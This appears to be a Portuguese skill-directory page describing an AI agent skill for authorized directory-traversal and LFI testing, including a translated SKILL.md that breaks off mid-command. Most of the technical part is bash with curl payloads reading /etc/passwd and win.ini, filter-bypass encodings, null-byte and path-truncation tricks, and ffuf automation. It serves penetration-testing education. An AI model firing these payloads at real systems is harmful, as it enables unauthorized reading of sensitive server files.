Pular para o conteúdo
Skillpedia
Testes35 mil · #6054

performing-directory-traversal-testing

Ensina seu agente de IA a testar o código e achar erros antes dos usuários e proteger aplicações contra ataques.

O que ela faz

Esta ferramenta ajuda a testar sites para encontrar falhas de segurança que permitem acessar arquivos que não deveriam ser acessados. Ela tenta 'enganar' o site para que ele mostre arquivos do sistema ou de outros usuários.

Quando usar

  • ✓Quando você tem permissão para testar a segurança de um site.
  • ✓Ao verificar se um site permite baixar ou visualizar arquivos de forma segura.
  • ✓Quando você suspeita que o site pode expor informações sensíveis.

Exemplo do que pedir para a IA

“Verifique se o site permite que eu veja o arquivo /etc/passwd usando um link como este: [link do site]?file=../../../etc/passwd”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-directory-traversal-testing/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-directory-traversal-testing/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta tenta diferentes maneiras de 'escapar' do diretório esperado, usando sequências como '../' ou codificações especiais. Ela também usa programas automáticos para testar muitas combinações rapidamente.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-directory-traversal-testing

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/performing-directory-traversal-testing/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

Testando Travessia de Diretório

Quando Usar

  • Durante testes de penetração autorizados quando o aplicativo lida com caminhos de arquivo em parâmetros de URL ou corpos de requisição
  • Ao testar funcionalidades de download de arquivo, visualização de arquivo ou inclusão de arquivo
  • Para avaliar vulnerabilidades de Inclusão de Arquivo Local (LFI) e Inclusão de Arquivo Remoto (RFI)
  • Ao avaliar motores de template, sistemas de log ou geradores de relatórios que referenciam arquivos
  • Durante avaliações de segurança de APIs que aceitam nomes ou caminhos de arquivo como parâmetros

Pré-requisitos

  • Autorização: Acordo de teste de penetração escrito para o alvo
  • Burp Suite Professional: Para interceptar e modificar parâmetros de caminho de arquivo
  • ffuf: Para fuzzing de parâmetros de caminho de arquivo com payloads de travessia
  • dotdotpwn: Fuzzer automatizado de travessia de diretório (apt install dotdotpwn)
  • SecLists: Listas de palavras de payload de travessia da coleção de Daniel Miessler
  • curl: Para testes manuais de payloads de travessia

Fluxo de Trabalho

Passo 1: Identificar Parâmetros de Caminho de Arquivo

Encontre endpoints do aplicativo que referenciam arquivos através de parâmetros.

# Common file-handling patterns to look for:
# /download?file=report.pdf
# /view?page=about.html
# /api/files?path=documents/invoice.pdf
# /template?name=header.html
# /include?module=sidebar
# /image?src=photos/avatar.jpg
# /export?format=csv&template=default

# In Burp Suite, search proxy history for file-related parameters
# Filter by parameter names: file, path, page, template, include,
# module, src, doc, document, folder, dir, name, filename

# Test with a known valid file to establish baseline
curl -s "https://target.example.com/download?file=report.pdf" -o /dev/null -w "%{http_code} %{size_download}"

# Try referencing a file that shouldn't be accessible
curl -s "https://target.example.com/download?file=../../../etc/passwd"

Passo 2: Testar Payloads Básicos de Travessia de Diretório

Tente sair do diretório pretendido e ler arquivos sensíveis.

# Linux traversal payloads
PAYLOADS=(
  "../../../etc/passwd"
  "../../../../etc/passwd"
  "../../../../../etc/passwd"
  "../../../../../../etc/passwd"
  "../../../../../../../etc/passwd"
  "..%2f..%2f..%2fetc%2fpasswd"
  "..%252f..%252f..%252fetc%252fpasswd"
  "%2e%2e/%2e%2e/%2e%2e/etc/passwd"
  "....//....//....//etc/passwd"
  "..;/..;/..;/etc/passwd"
)

for payload in "${PAYLOADS[@]}"; do
  echo -n "Testing: $payload -> "
  response=$(curl -s "https://target.example.com/download?file=$payload")
  if echo "$response" | grep -q "root:"; then
    echo "VULNERABLE"
  else
    echo "Blocked"
  fi
done

# Windows traversal payloads
WIN_PAYLOADS=(
  "..\..\..\windows\win.ini"
  "..%5c..%5c..%5cwindows%5cwin.ini"
  "..\/..\/..\/windows/win.ini"
  "....\\....\\....\\windows\\win.ini"
)

for payload in "${WIN_PAYLOADS[@]}"; do
  echo -n "Testing: $payload -> "
  curl -s "https://target.example.com/download?file=$payload" | head -c 100
  echo
done

Passo 3: Aplicar Técnicas de Codificação e Bypass de Filtros

Use vários esquemas de codificação para contornar filtros de validação de entrada.

# URL encoding bypass
curl -s "https://target.example.com/download?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"

# Double URL encoding
curl -s "https://target.example.com/download?file=%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd"

# UTF-8 encoding
curl -s "https://target.example.com/download?file=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd"

# Null byte injection (PHP < 5.3.4)
curl -s "https://target.example.com/download?file=../../../etc/passwd%00.pdf"

# Path truncation (Windows)
# Exceeding MAX_PATH (260 chars) to bypass extension checks
LONG_PATH="../../../etc/passwd"
for i in $(seq 1 200); do LONG_PATH="${LONG_PATH}/."; done
curl -s "https://target.example.com/download?file=$LONG_PATH"

# Case manipulation (Windows)
curl -s "https://target.example.com/download?file=..\..\..\..\WiNdOwS\win.ini"

# Dot-dot-slash variations
curl -s "https://target.example.com/download?file=....//....//....//etc/passwd"
curl -s "https://target.example.com/download?file=....//../../../etc/passwd"

# Using absolute path (if filter only blocks relative traversal)
curl -s "https://target.example.com/download?file=/etc/passwd"

Passo 4: Automatizar com ffuf e dotdotpwn

Use ferramentas automatizadas para testes abrangentes de travessia.

# ffuf com lista de payload de travessia
ffuf -u "https://target.example.com/download?file=FUZZ" \
  -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
  -mc 200 \
  -fs 0 \

…
Perguntas frequentes

O que é 'path traversal'?

É uma falha de segurança onde um atacante consegue acessar arquivos fora da pasta permitida no servidor web, usando caminhos como '../'.

O que são LFI e RFI?

LFI (Local File Inclusion) é quando um atacante consegue incluir e ler arquivos do próprio servidor. RFI (Remote File Inclusion) é quando um atacante consegue incluir e executar arquivos de um servidor externo.

Preciso de permissão para usar esta ferramenta?

Sim, é crucial ter autorização explícita por escrito antes de testar qualquer sistema. Testes sem permissão são ilegais.

Detalhes

Descrição original do autor

Test web applications for path traversal and Local/Remote File Inclusion vulnerabilities by manipulating file path parameters, applying encoding and filter-bypass techniques, automating discovery with ffuf and dotdotpwn, and reading high-value files or achieving code execution. Use during authorized penetration tests of file download, view, or include functionality, or when assessing APIs that acc

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularidade

Estrelas no GitHub
35 mil
Posição no ranking
#6054
Licença
Apache-2.0
Atualizada em
31/08/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas